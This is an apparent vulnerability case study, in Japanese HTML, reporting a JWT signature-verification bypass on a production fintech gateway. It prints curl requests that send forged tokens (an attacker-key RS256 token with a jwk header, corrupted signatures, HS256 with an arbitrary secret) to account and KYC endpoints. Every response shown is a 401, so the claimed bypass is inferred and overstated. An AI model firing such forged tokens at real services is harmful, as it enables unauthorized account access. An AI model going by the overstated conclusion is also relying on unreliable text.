class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;network&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'evm'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'eth_chainId'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;PASTE_SECRET_HEX_HERE&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ReactNativeWebView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="ケーススタディ4:jwt署名検証のバイパス"&gt;ケーススタディ4：JWT署名検証のバイパス&lt;/h1&gt;
&lt;p&gt;発見が難しいバグのもう一つの興味深い例を紹介します。以下はエンジンの出力と、その問題をどのように確認したかです。&lt;/p&gt;
&lt;p&gt;エビデンスは、サービスが署名を検証する前にJWTクレームを評価していることを示しています。 &lt;/p&gt;
&lt;p&gt;無効な／攻撃者の署名を持つトークンや、意図的に破損させた署名を持つトークンは、保護されたエンドポイント全体で、署名の失敗ではなく発行者（issuer）関連のエラーを生じさせます。これにより、JWT検証パイプラインにおける署名検証のバイパス／順序の誤りが確認されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;影響を受けるホスト：&lt;a href="https://gateway.cinko-prod.com"&gt;https://gateway.[REDACTED]-prod.com&lt;/a&gt;（CloudFront &amp;rarr; Kestrel 経由のHTTP/2）  &lt;/li&gt;
&lt;li&gt;確認されたエンドポイント：GET /api/consumer/user/kyc、GET /api/consumer/accounts/USD（以前のデータセットより）。また、GET /api/consumer/features（公開／未認証）での挙動との対比  &lt;/li&gt;
&lt;li&gt;アルゴリズム：RS256、HS256が影響を受ける。alg=noneは拒否される（署名の存在は必須だが、検証はされていない）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;再現と生のエビデンス&lt;/p&gt;
&lt;p&gt;コントロールA &amp;mdash; トークンなし（ベースライン）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;--http2&lt;span class="w"&gt; &lt;/span&gt;--compressed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'user-agent: okhttp/4.12.0'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-type: [REDACTED]'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-platform: ANDROID'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-version: 11.5'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept-encoding: gzip'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンスの抜粋：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;コントロールB &amp;mdash; alg=none トークン（署名なし）は拒否される（期待どおり）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;--http2&lt;span class="w"&gt; &lt;/span&gt;--compressed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'user-agent: okhttp/4.12.0'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-type: [REDACTED]'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-platform: ANDROID'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-version: 11.5'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept-encoding: gzip'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer [REDACTED]'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンスの抜粋：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：サービスは署名フィールドを必須としています。次のテストは、署名付きトークンについて署名の完全性を検証していないことを示します。&lt;/p&gt;
&lt;p&gt;コアエビデンス1 &amp;mdash; ヘッダーで供給したJWKを用い、攻撃者の鍵で署名したRS256トークン &amp;rarr; 署名エラーではなく発行者エラーが返る&lt;/p&gt;
&lt;p&gt;トークン（デコード済み）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"header"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test-rsa-1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"jwk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RSA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"n"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;attacker-n&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"e"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AQAB"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"+50644440002"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"aud"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]-mobile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1759166743&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"nbf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1759166743&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1759167403&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;リクエスト：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;--http2&lt;span class="w"&gt; &lt;/span&gt;--compressed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'user-agent: okhttp/4.12.0'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-type: [REDACTED]'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-platform: ANDROID'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'mobile-app-version: 11.5'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'accept-encoding: gzip'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer &amp;lt;attacker-RS256-token-with-jwk-header&amp;gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンスの抜粋：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"&lt;/span&gt;
&lt;span class="na"&gt;content-length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：サーバーは、未知／信頼されていない鍵や不正な署名として拒否する代わりに、発行者の検証へと進みました。&lt;/p&gt;
&lt;p&gt;コアエビデンス2 &amp;mdash; jwkヘッダーなし、攻撃者が署名したRS256トークン &amp;rarr; 発行者エラーが継続&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Authorization:&lt;span class="w"&gt; &lt;/span&gt;Bearer&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;REDACTED&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンスの抜粋：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：依然として署名による拒否はなく、クレームの検証が進みます。&lt;/p&gt;
&lt;p&gt;コアエビデンス3 &amp;mdash; 意図的に署名を破損させたRS256トークン &amp;rarr; 保護されたエンドポイント全体で発行者エラーが継続&lt;/p&gt;
&lt;p&gt;改ざんされたトークン（3番目のセグメントのみ変更。ヘッダー+ペイロードは変更なし）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;観測されたレスポンス：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET /api/consumer/accounts/USD &amp;rarr;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;GET /api/consumer/user/kyc &amp;rarr;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：署名が壊れているにもかかわらず、クレームチェック（発行者）が先に実行されます。&lt;/p&gt;
&lt;p&gt;コアエビデンス4 &amp;mdash; 任意のシークレットを用いたHS256トークン &amp;rarr; 署名／algエラーではなく発行者エラーが返る&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンスの抜粋：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：アルゴリズム／鍵の不一致が無視され、クレームチェックが進みます。&lt;/p&gt;
&lt;p&gt;裏付けとなる追加検証 &amp;mdash; 認証済みエンドポイントに対する署名破損のRS256が発行者エラーを返す。&lt;/p&gt;
&lt;p&gt;リクエスト（1回）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--http2&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user-agent: okhttp/4.12.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept-encoding: gzip"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"authorization: Bearer [REDACTED]"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--compressed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンス（ヘッダーそのまま）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;content-length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;0&lt;/span&gt;
&lt;span class="na"&gt;date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mon, 29 Sep 2025 18:30:50 GMT&lt;/span&gt;
&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Kestrel&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解釈：エンドポイントはリクエストを認証していますが、検証されていないトークンから発行者クレームを評価しています。&lt;/p&gt;
&lt;p&gt;クレーム順序テスト &amp;mdash; iss のみを一致させる。それでも署名は破損したまま &amp;rarr; 発行者は依然として無効（順序が確認された）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--http2&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user-agent: okhttp/4.12.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept-encoding: gzip"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"authorization: Bearer [REDACTED]"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--compressed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンス：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="na"&gt;www-authenticate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
